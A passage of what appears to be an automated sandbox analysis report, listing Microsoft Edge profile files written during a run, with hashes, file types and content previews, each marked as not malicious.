update_time":"13383420243819375","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\72c7b08f-451c-4262-9370-cbc1dbedf826.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13195
Entropy (8bit):	5.223459852612186
Encrypted:	false
SSDEEP:	192:stCJ99QTryDigabatSuypas3ntIa34HknYkXK83bV+F5uQwu+42q7NIi+PdYJ:stCPGKSu4as3tX1bGwQwufJ7NIi5
MD5:	8DB411FAE91917DFF2D781CFCE6A7696
SHA1:	6249DC2FDB2F2F3242CD6A5BC37E3D8F24109737
SHA-256:	64A05CBB9DBBCE93690E58CC4776C81CB5136D9517A6E616457888F7E5634337
SHA-512:	699EAB83799FB8379F864311CBEEDC0ADDE1C6123EE62C3C27FBFF8ADCC7455EB6DB116633B774600A818E643865328E424FEAA26F0C72997460369F7F92E132
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13383420244503143","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\78268d5c-aff5-42d3-84bc-952355944a6a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\96fb1956-e024-4f48-90c8-6bdc1798e5bf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13999
Entropy (8bit):	5.290627634477915
Encrypted:	false
SSDEEP:	192:stCJ99QTryDigabatSuypas3ntIa3436knYkmyK83bV+F5uQwu+42q7NIi+PdYJ:stCPGKSu4as3tX+LbGwQwufJ7NIi5
MD5:	900C4B75D1FE9BB54E28BF88969CCF05
SHA1:	FAD829DFA1D9383AFB563C2C5E54D5357908947F
SHA-256:	DB81F8C3F61D5D8CB36400E53D6890BB07DEB02EE6A368DE509941AC5109F5E4
SHA-512:	2D28B34877A33B4204F7A584D8C4D690A7D42E245884859B767A2D1C1436851EF3957D8F9DE8834CA38E93819DE7D5F08A25DDAC3F7497F9F01F6B8EF0849218
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13383420244503143","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.249318215805446
Encrypted:	false
SSDEEP:	6:iOXgmAB1CHhJ23oH+Tcwtp3hBtB2KLl1glVN4q2PCHhJ23oH+Tcwtp3hBWsIFUv:71gYebp3dFLaAvBYebp3eFUv
MD5:	D45754510AF703245D65639C43619E3F
SHA1:	709E6E1D10F6C8F5BFA812C7ECE101D8046DC30B
SHA-256:	4E46851BC79AC58D60E2EDC9AE222B11AB475A3F2F96B90F9F8E42C7F84B73C0
SHA-512:	F155C40B3E1C5BEF07BF406E87435E2CDE234A2FB40DE8F969F041F8938A1A6230B4C03A7C98E7BB3C9060F7FDE4A46C1B03ABBBDBB75A1F900F78C08BD8AB61
Malicious:	false
Preview:	2025/02/07-11:44:10.303 1b80 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2025/02/07-11:44:10.332 1b80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1764710
Entropy (8bit):	5.138102712939383
Encrypted:	false
SSDEEP:	24576:hKP/fKfgXaHbMhFQlmADAbpENUdifYOBHbc2r:hK3fqJmcx
MD5:	E81122A570E4C19E0777AB474665F35F
SHA1:	90D92AA75E46FA04BBF1D518AE0A7F48F07F0E39
SHA-256:	43DE7DE274AD71EA7B0F3891BED33E807B46617990DCEEBDA6F815DD8653B926
SHA-512:	23D98A1EAAB3F6B50B90D16BD332835B4254059664AD7484281DCF0D2A083742D503EF22787A995FFC80C4ECF964E760C764FBF119A9D727090BBA56205AB2E1
Malicious:	false
Preview:	...m.................DB_VERSION.1.Go..................QUERY_TIMESTAMP:arbitration_priority_list4...13340967444415546.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.176694136003179
Encrypted:	false
SSDEEP:	6:iOXgsnpQ+q2PCHhJ23oH+Tcwt9Eh1tIFUtFgsYwgZmw7gsGFaQVkwOCHhJ23oH+8:7Vi+vBYeb9Eh16FUtbE/RGdV56Yeb9Er
MD5:	EAF37CCAF00B1D27FDE31E2F70DE3964
SHA1:	019135CD1D9A8C9AFF6D48C10CE0CD8E0999C326
SHA-256:	EFD64AB13CE58D1A70B060BC4836404E48E7B830B7F0A5F22669B7967CFDA3B0
SHA-512:	E97FB1593A56EA2E299437FDAF8B8A793990560278E78FD626E71953A904A4A603DEB3E1FF3B155BBD7FD9F3FFCFE6A0B2BBC0757FEBA8132BDCD95E7F7D7007
Malicious:	false
Preview:	2025/02/07-11:44:09.517 e4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/02/07-11:44:09.689 e4c Recovering log #3.2025/02/07-11:44:09.696 e4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.176694136003179
Encrypted:	false
SSDEEP:	6:iOXgsnpQ+q2PCHhJ23oH+Tcwt9Eh1tIFUtFgsYwgZmw7gsGFaQVkwOCHhJ23oH+8:7Vi+vBYeb9Eh16FUtbE/RGdV56Yeb9Er
MD5:	EAF37CCAF00B1D27FDE31E2F70DE3964
SHA1:	019135CD1D9A8C9AFF6D48C10CE0CD8E0999C326
SHA-256:	EFD64AB13CE58D1A70B060BC4836404E48E7B830B7F0A5F22669B7967CFDA3B0
SHA-512:	E97FB1593A56EA2E299437FDAF8B8A793990560278E78FD626E71953A904A4A603DEB3E1FF3B155BBD7FD9F3FFCFE6A0B2BBC0757FEBA8132BDCD95E7F7D7007
Malicious:	false
Preview:	2025/02/07-11:44:09.517 e4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/02/07-11:44:09.689 e4c Recovering log #3.2025/02/07-11:44:09.696 e4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46257201051175884
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBunt4:TouQq3qh7z3bY2LNW9WMcUvBunt4
MD5:	775984054CFC1B2C593A69CA9A357DDD
SHA1:	4062FBB4E8DA4A83A8D3533CF299135DBD2E24C4
SHA-256:	60F6E421B54AD763493BFFEA9DB651EC9A1AA2A64B156BFC1B907DAEA772D2C7
SHA-512:	AB266AADA82311B2539EAE5CF888DFD69EC48ED19FC281CCE5F6EBE89F76499A1FEE611C7E6587F5A5E9411B4821DEDCA0077B361912BE79DA3973F258B2CDD1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.204657725807232
Encrypted:	false
SSDEEP:	6:iOXgaMIq2PCHhJ23oH+TcwtnG2tMsIFUtFga7vJZmw7ga7vDkwOCHhJ23oH+Tcwj:7VvBYebn9GFUt3/T56Yebn95J
MD5:	97B6C2D3BB851A94FED16911F2603267
SHA1:	03F14D72DB2B846FAE6D9C54791F729E0EFE783E
SHA-256:	F7C444033560640530AFC4BE8D4C29E74D3FFC2C91CFE91467D8BE31E85A2A6F
SHA-512:	1D21187975B861FC41237E6D8D6774638D694F51CC789DF5CE09AD82A2CC76B3C0E26516E620AB15EEB6A899CA6B3871BBFA25C44C8B668B1591460B21245583
Malicious:	false
Preview:	2025/02/07-11:44:03.850 5e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/02/07-11:44:03.851 5e0 Recovering log #3.2025/02/07-11:44:03.851 5e0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.204657725807232
Encrypted:	false
SSDEEP:	6:iOXgaMIq2PCHhJ23oH+TcwtnG2tMsIFUtFga7vJZmw7ga7vDkwOCHhJ23oH+Tcwj:7VvBYebn9GFUt3/T56Yebn95J
MD5:	97B6C2D3BB851A94FED16911F2603267
SHA1:	03F14D72DB2B846FAE6D9C54791F729E0EFE783E
SHA-256:	F7C444033560640530AFC4BE8D4C29E74D3FFC2C91CFE91467D8BE31E85A2A6F
SHA-512:	1D21187975B861FC41237E6D8D6774638D694F51CC789DF5CE09AD82A2CC76B3C0E26516E620AB15EEB6A899CA6B3871BBFA25C44C8B668B1591460B21245583
Malicious:	false
Preview:	2025/02/07-11:44:03.850 5e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/02/07-11:44:03.851 5e0 Recovering log #3.2025/02/07-11:44:03.851 5e0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6124446402875651
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jVfucpaWfusMmL:TO8D4jJ/6Up+p2w2U
MD5:	01C84178CDF85C819E0F3B59DD94C2A3
SHA1:	938B976E89240ABEF4F31DAF90F040EA002A83C6
SHA-256:	28CB3EFBFB3A13BEA362ED1C5997E7D0163BE87A6DAE5F8547E88380F9B99440
SHA-512:	82124E2CA01C0AB4996952C522B6EB8F631C635523208E66E798ADA8F54DC98894DB3F74230018ABC9227FDB564786145F43BB6C8FD9418930F2006D7AE1CCA5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	375520
Entropy (8bit):	5.3540963642524915
Encrypted:	false
SSDEEP:	6144:8A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:8FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	7FC5EC3D20C464FD74EF57D39E96B9D7
SHA1:	ED9946588ADA2E9D9AE4866CD46D7A5DD915A2E7
SHA-256:	877982760A56629A5DDC389D6DC88BC5DF18FF1E648B5A9D0CE17A8BC6E40E0E
SHA-512:	139E0573EFBE16A06B541CF042B4C42A278C6A517B48A5601C97392B30CB82620BF48C8CD44FD7CAC2D2B967250DCED1F1D2DDA40ADAC776BC0DE3DD5956E047
Malicious:	false
Preview:	...m.................DB_VERSION.1.C#Uq...............&QUERY_TIMESTAMP:domains_config_gz2...13383420251380088..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.185209934523697
Encrypted:	false
SSDEEP:	6:iOXgsWq1CHhJ23oH+Tcwtk2WwnvB2KLl1gs2pQL+q2PCHhJ23oH+Tcwtk2WwnvIg:7VWGYebkxwnvFLR2pQ+vBYebkxwnQFUv
MD5:	DC9AE89770A62134108BF0F6000D9894
SHA1:	01689F93EA2073E859CE2448210E74A8BED043EE
SHA-256:	BFF91A77289E2EE7B1FE6C7F7E2AED0EAB19E07572319B471B670D30443F0339
SHA-512:	52D0F6FEDAFD176153A2DC90EA84D948F13A7478CDFD62D012353E3AF54442D9B21B259F703C12B82E3D5AF2C4A3A5C265C0AA91B49797BB74589E3BE494F042
Malicious:	false
Preview:	2025/02/07-11:44:09.956 15ec Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2025/02/07-11:44:09.992 15ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	358859
Entropy (8bit):	5.3246127117886894
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rj:C1gAg1zfvb
MD5:	0C2B11AF11FE0A19199CE93D41F8F2CE
SHA1:	FA220670CD067586FBB93189F7CD38519A658F67
SHA-256:	4070BEDF80A585938EE14354F2BD83177BFB8EF518B080E9036E190E7B96E41D
SHA-512:	A4DB4E3A1CFCC4E988FDA5230B4EF48601BFD6E9FAB0277068D5E2ABC03747561F2E36749C2DFE02A6284673EFC120EE9D18BF433064CE69E2A57948FC3024A5
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

